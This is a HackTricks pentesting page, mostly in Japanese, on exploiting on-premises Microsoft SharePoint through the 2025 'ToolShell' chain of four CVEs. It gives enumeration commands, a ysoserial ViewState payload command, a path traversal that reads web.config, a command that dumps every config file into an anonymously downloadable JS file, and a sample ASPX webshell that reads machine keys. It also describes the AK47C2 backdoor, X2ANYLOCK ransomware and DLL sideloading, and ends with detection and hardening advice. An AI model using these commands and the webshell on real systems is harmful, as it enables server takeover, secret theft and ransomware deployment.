Microsoft SharePoint – Pentesting & Exploitation
Reading time: 11 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Microsoft SharePoint (オンプレミス) は ASP.NET/IIS の上に構築されています。したがって、従来のウェブ攻撃面(ViewState、Web.Config、ウェブシェルなど)が存在しますが、SharePoint には数百の独自の ASPX ページとウェブサービスが付属しており、露出した攻撃面が大幅に拡大します。このページでは、Unit42 によって公開された 2025 年のエクスプロイトチェーン(CVE-2025-49704/49706/53770/53771)に重点を置いて、SharePoint 環境内での列挙、エクスプロイト、および持続性を確保するための実用的なトリックを集めています。
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit chain (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – ToolPane.aspxにおけるコードインジェクション
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
は、任意の Server-Side Include コードをページに注入することを可能にし、後にASP.NETによってコンパイルされます。攻撃者は Process.Start()
を実行するC#を埋め込み、悪意のあるViewStateをドロップすることができます。
2.2 CVE-2025-49706 – 不適切な認証バイパス
同じページは、サイトコンテキストを決定するために X-Forms_BaseUrl ヘッダーを信頼します。これを /_layouts/15/
に向けることで、ルートサイトで強制されるMFA/SSOを 未認証 でバイパスすることができます。
2.3 CVE-2025-53770 – 未認証のViewStateデシリアライズ → RCE
攻撃者が ToolPane.aspx
内のガジェットを制御すると、署名されていない (またはMACのみの) __VIEWSTATE
値を投稿でき、これが w3wp.exe 内で.NETデシリアライズを引き起こし、コード実行につながります。
署名が有効な場合は、任意の web.config
から ValidationKey/DecryptionKey を盗み、ysoserial.net または ysodom を使用してペイロードを偽造します。
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
For an in-depth explanation on abusing ASP.NET ViewState read:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – パス・トラバーサル / web.config 開示
ToolPane.aspx
に細工された Source
パラメータを送信することで (例: ../../../../web.config
)、ターゲットファイルが返され、以下の情報が漏洩します:
<machineKey validationKey="…" decryptionKey="…">
➜ ViewState / ASPXAUTH クッキーを偽造- 接続文字列と秘密情報。
3. 実際に観察されたポストエクスプロイトレシピ
3.1 すべての .config ファイルを抽出する (バリエーション-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
結果として得られる debug_dev.js
は匿名でダウンロードでき、すべての 機密設定が含まれています。
3.2 Base64エンコードされたASPXウェブシェルをデプロイする(バリエーション-2)
powershell.exe -EncodedCommand <base64>
デコードされたペイロードの例(短縮版):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
書かれた対象:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
シェルは、マシンキーの読み取り/回転のためのエンドポイントを公開しており、これによりファーム全体でViewStateおよびASPXAUTHクッキーを偽造することができます。
3.3 難読化されたバリアント(バリエーション-3)
同じシェルですが:
...\15\TEMPLATE\LAYOUTS\
に配置- 変数名が単一の文字に削減
- サンドボックス回避とタイミングベースのAVバイパスのために
Thread.Sleep(<ms>)
が追加されました。
3.4 AK47C2 マルチプロトコルバックドア & X2ANYLOCK ランサムウェア(2025-2026年に観察)
最近のインシデントレスポンス調査(Unit42 “Project AK47”)では、攻撃者が初期RCEの後にToolShellチェーンを利用して、SharePoint環境にデュアルチャネルC2インプラントとランサムウェアを展開する方法が示されています:
AK47C2 – dnsclient
バリアント
- ハードコーディングされたDNSサーバー:
10.7.66.10
が権威あるドメインupdate.updatemicfosoft.com
と通信。 - メッセージは静的キー
VHBD@H
でXOR暗号化されたJSONオブジェクトで、16進数エンコードされ、サブドメインラベルとして埋め込まれています。
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- 長いクエリはチャンク化され、
s
でプレフィックスされ、サーバー側で再構成されます。 - サーバーは同じXOR/16進数スキームを持つTXTレコードで応答します:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- バージョン202504では、簡略化されたフォーマット
<COMMAND>::<SESSION_KEY>
とチャンクマーカー1
,2
,a
が導入されました。
AK47C2 – httpclient
バリアント
- 正確なJSON & XORルーチンを再利用しますが、16進数のブロブをHTTP POSTボディで
libcurl
を介して送信します(CURLOPT_POSTFIELDS
など)。 - 同じタスク/結果のワークフローを許可します:
- 任意のシェルコマンドの実行。
- 動的なスリープ間隔とキルスイッチの指示。
X2ANYLOCK ランサムウェア
- DLLサイドローディングを通じて読み込まれる64ビットC++ペイロード(下記参照)。
- ファイルデータにAES-CBCを使用し、AESキーをラップするためにRSA-2048を使用し、拡張子
.x2anylock
を追加します。 - ローカルドライブと発見されたSMB共有を再帰的に暗号化し、システムパスをスキップします。
- 交渉のために静的なTox IDを埋め込んだ平文のメモ
How to decrypt my data.txt
をドロップします。 - 内部のキルスイッチを含みます:
if (file_mod_time >= "2026-06-06") exit(0);
DLLサイドローディングチェーン
- 攻撃者は
dllhijacked.dll
/My7zdllhijacked.dll
を正当な7z.exe
の隣に書き込みます。 - SharePointから生成された
w3wp.exe
が7z.exe
を起動し、Windowsの検索順序のために悪意のあるDLLを読み込み、メモリ内でランサムウェアのエントリポイントを呼び出します。 - 別のLockBitローダーが観察され(
bbb.msi
➜clink_x86.exe
➜clink_dll_x86.dll
)、シェルコードを復号化し、LockBit 3.0を実行するためにd3dl1.dll
にDLLホロウイングを行います。
info
X2ANYLOCKで見つかった同じ静的Tox IDが漏洩したLockBitデータベースに現れ、アフィリエイトの重複を示唆しています。
4. 検出アイデア
テレメトリ | なぜ疑わしいのか |
---|---|
w3wp.exe → cmd.exe | ワーカープロセスはシェルをほとんど生成しないはずです |
cmd.exe → powershell.exe -EncodedCommand | クラシックなlolbinパターン |
debug_dev.js または spinstall0.aspx を作成するファイルイベント | ToolShellからのIOC |
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/モジュールログ) | 公開されたPoCがこのページを呼び出します |
例 XDR / Sysmonルール(擬似XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. ハードニングと緩和
- パッチ – 2025年7月のセキュリティ更新により、すべての 4つのCVEが修正されます。
- 妥協後は、すべての
<machineKey>
とViewState
シークレットをローテーションします。 WSS_WPG
およびWSS_ADMIN_WPG
グループから LAYOUTS 書き込み権限を削除します。- プロキシ/WAFレベルで
/_layouts/15/ToolPane.aspx
への外部アクセスをブロックします。 - ViewStateUserKey、MAC有効、およびカスタム EventValidation を有効にします。
関連するトリック
- IISポストエクスプロイトとweb.configの悪用:
IIS - Internet Information Services
参考文献
- Unit42 – Microsoft SharePointの脆弱性の積極的な悪用
- GitHub PoC – ToolShellエクスプロイトチェーン
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Project AK47 / SharePointの悪用とランサムウェア活動
- Microsoft Security Advisory – CVE-2025-53770 / 53771
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。